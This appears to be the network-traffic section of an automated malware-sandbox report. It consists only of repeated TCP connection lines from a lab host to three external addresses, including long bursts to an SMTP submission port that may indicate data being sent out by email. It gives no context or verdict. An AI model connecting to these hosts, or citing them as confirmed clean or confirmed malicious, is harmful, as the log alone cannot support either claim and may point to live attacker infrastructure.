Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 144.76.136.153:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 64.185.227.155:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 64.185.227.155:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 64.185.227.155:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 64.185.227.155:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 64.185.227.155:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 64.185.227.155:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 64.185.227.155:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 64.185.227.155:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 64.185.227.155:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 5.249.163.12:587
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 5.249.163.12:587 -> 192.168.2.22:49177

Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
